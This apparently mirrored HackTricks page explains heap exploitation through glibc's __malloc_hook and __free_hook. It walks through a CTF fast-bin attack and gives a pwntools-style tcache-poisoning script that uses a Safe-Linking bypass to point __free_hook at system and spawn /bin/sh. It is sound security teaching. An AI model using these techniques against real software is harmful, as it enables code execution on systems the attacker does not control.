mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
144 lines
7.2 KiB
Markdown
144 lines
7.2 KiB
Markdown
# WWW2Exec - __malloc_hook & __free_hook
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|
||
|
||
## **Malloc Hook**
|
||
|
||
As you can [Official GNU site](https://www.gnu.org/software/libc/manual/html_node/Hooks-for-Malloc.html), the variable **`__malloc_hook`** is a pointer pointing to the **address of a function that will be called** whenever `malloc()` is called **stored in the data section of the libc library**. Therefore, if this address is overwritten with a **One Gadget** for example and `malloc` is called, the **One Gadget will be called**.
|
||
|
||
To call malloc it's possible to wait for the program to call it or by **calling `printf("%10000$c")`** which allocates too bytes many making `libc` calling malloc to allocate them in the heap.
|
||
|
||
More info about One Gadget in:
|
||
|
||
|
||
{{#ref}}
|
||
../rop-return-oriented-programing/ret2lib/one-gadget.md
|
||
{{#endref}}
|
||
|
||
> [!WARNING]
|
||
> Note that hooks are **disabled for GLIBC >= 2.34**. There are other techniques that can be used on modern GLIBC versions. See: [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
|
||
## Free Hook
|
||
|
||
This was abused in one of the example from the page abusing a fast bin attack after having abused an unsorted bin attack:
|
||
|
||
|
||
{{#ref}}
|
||
../libc-heap/unsorted-bin-attack.md
|
||
{{#endref}}
|
||
|
||
It's posisble to find the address of `__free_hook` if the binary has symbols with the following command:
|
||
|
||
```bash
|
||
gef➤ p &__free_hook
|
||
```
|
||
|
||
[In the post](https://guyinatuxedo.github.io/41-house_of_force/bkp16_cookbook/index.html) you can find a step by step guide on how to locate the address of the free hook without symbols. As summary, in the free function:
|
||
|
||
<pre class="language-armasm"><code class="lang-armasm">gef➤ x/20i free
|
||
0xf75dedc0 <free>: push ebx
|
||
0xf75dedc1 <free+1>: call 0xf768f625
|
||
0xf75dedc6 <free+6>: add ebx,0x14323a
|
||
0xf75dedcc <free+12>: sub esp,0x8
|
||
0xf75dedcf <free+15>: mov eax,DWORD PTR [ebx-0x98]
|
||
0xf75dedd5 <free+21>: mov ecx,DWORD PTR [esp+0x10]
|
||
<strong>0xf75dedd9 <free+25>: mov eax,DWORD PTR [eax]--- BREAK HERE
|
||
</strong>0xf75deddb <free+27>: test eax,eax ;<
|
||
0xf75deddd <free+29>: jne 0xf75dee50 <free+144>
|
||
</code></pre>
|
||
|
||
In the mentioned break in the previous code in `$eax` will be located the address of the free hook.
|
||
|
||
Now a **fast bin attack** is performed:
|
||
|
||
- First of all it's discovered that it's possible to work with fast **chunks of size 200** in the **`__free_hook`** location:
|
||
- <pre class="language-c"><code class="lang-c">gef➤ p &__free_hook
|
||
$1 = (void (**)(void *, const void *)) 0x7ff1e9e607a8 <__free_hook>
|
||
gef➤ x/60gx 0x7ff1e9e607a8 - 0x59
|
||
<strong>0x7ff1e9e6074f: 0x0000000000000000 0x0000000000000200
|
||
</strong>0x7ff1e9e6075f: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6076f <list_all_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
0x7ff1e9e6077f <_IO_stdfile_2_lock+15>: 0x0000000000000000 0x0000000000000000
|
||
</code></pre>
|
||
- If we manage to get a fast chunk of size 0x200 in this location, it'll be possible to overwrite a function pointer that will be executed
|
||
- For this, a new chunk of size `0xfc` is created and the merged function is called with that pointer twice, this way we obtain a pointer to a freed chunk of size `0xfc*2 = 0x1f8` in the fast bin.
|
||
- Then, the edit function is called in this chunk to modify the **`fd`** address of this fast bin to point to the previous **`__free_hook`** function.
|
||
- Then, a chunk with size `0x1f8` is created to retrieve from the fast bin the previous useless chunk so another chunk of size `0x1f8` is created to get a fast bin chunk in the **`__free_hook`** which is overwritten with the address of **`system`** function.
|
||
- And finally a chunk containing the string `/bin/sh\x00` is freed calling the delete function, triggering the **`__free_hook`** function which points to system with `/bin/sh\x00` as parameter.
|
||
|
||
---
|
||
|
||
## Tcache poisoning & Safe-Linking (glibc 2.32 – 2.33)
|
||
|
||
glibc 2.32 introduced **Safe-Linking** – an integrity-check that protects the *single*-linked lists used by **tcache** and fast-bins. Instead of storing a raw forward pointer (`fd`), ptmalloc now stores it *obfuscated* with the following macro:
|
||
|
||
```c
|
||
#define PROTECT_PTR(pos, ptr) (((size_t)(pos) >> 12) ^ (size_t)(ptr))
|
||
#define REVEAL_PTR(ptr) PROTECT_PTR(&ptr, ptr)
|
||
```
|
||
|
||
Consequences for exploitation:
|
||
|
||
1. A **heap leak** is mandatory – the attacker must know the runtime value of `chunk_addr >> 12` to craft a valid obfuscated pointer.
|
||
2. Only the *full* 8-byte pointer can be forged; single-byte partial overwrites will not pass the check.
|
||
|
||
A minimal tcache-poisoning primitive that overwrites `__free_hook` on glibc 2.32/2.33 therefore looks like:
|
||
|
||
```py
|
||
from pwn import *
|
||
|
||
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
|
||
p = process("./vuln")
|
||
|
||
# 1. Leak a heap pointer (e.g. via UAF or show-after-free)
|
||
heap_leak = u64(p.recvuntil(b"\n")[:6].ljust(8, b"\x00"))
|
||
heap_base = heap_leak & ~0xfff
|
||
fd_key = heap_base >> 12 # value used by PROTECT_PTR
|
||
log.success(f"heap @ {hex(heap_base)}")
|
||
|
||
# 2. Prepare two same-size chunks and double-free one of them
|
||
a = malloc(0x48)
|
||
b = malloc(0x48)
|
||
free(a)
|
||
free(b)
|
||
free(a) # tcache double-free ⇒ poisoning primitive
|
||
|
||
# 3. Forge obfuscated fd that points to __free_hook
|
||
free_hook = libc.sym['__free_hook']
|
||
poison = free_hook ^ fd_key
|
||
edit(a, p64(poison)) # overwrite fd of tcache entry
|
||
|
||
# 4. Two mallocs: the second one returns a pointer to __free_hook
|
||
malloc(0x48) # returns chunk a
|
||
c = malloc(0x48) # returns chunk @ __free_hook
|
||
edit(c, p64(libc.sym['system']))
|
||
|
||
# 5. Trigger
|
||
bin_sh = malloc(0x48)
|
||
edit(bin_sh, b"/bin/sh\x00")
|
||
free(bin_sh)
|
||
```
|
||
|
||
The snippet above was adapted from recent CTF challenges such as *UIUCTF 2024 – «Rusty Pointers»* and *openECSC 2023 – «Babyheap G»*, both of which relied on Safe-Linking bypasses to overwrite `__free_hook`.
|
||
|
||
---
|
||
|
||
## What changed in glibc ≥ 2.34?
|
||
|
||
Starting with **glibc 2.34 (August 2021)** the allocation hooks `__malloc_hook`, `__realloc_hook`, `__memalign_hook` and `__free_hook` were **removed from the public API and are no longer invoked by the allocator**. Compatibility symbols are still exported for legacy binaries, but overwriting them no longer influences the control-flow of `malloc()` or `free()`.
|
||
|
||
Practical implication: on modern distributions (Ubuntu 22.04+, Fedora 35+, Debian 12, etc.) you must pivot to *other* hijack primitives (IO-FILE, `__run_exit_handlers`, vtable spraying, etc.) because hook overwrites will silently fail.
|
||
|
||
If you still need the old behaviour for debugging, glibc ships `libc_malloc_debug.so` which can be pre-loaded to re-enable the legacy hooks – but the library is **not meant for production and may disappear in future releases**.
|
||
|
||
---
|
||
|
||
## References
|
||
|
||
- [https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook](https://ir0nstone.gitbook.io/notes/types/stack/one-gadgets-and-malloc-hook)
|
||
- [https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md).
|
||
- Safe-Linking – Eliminating a 20 year-old malloc() exploit primitive (Check Point Research, 2020)
|
||
- glibc 2.34 release notes – removal of malloc hooks
|
||
|
||
{{#include ../../banners/hacktricks-training.md}}
|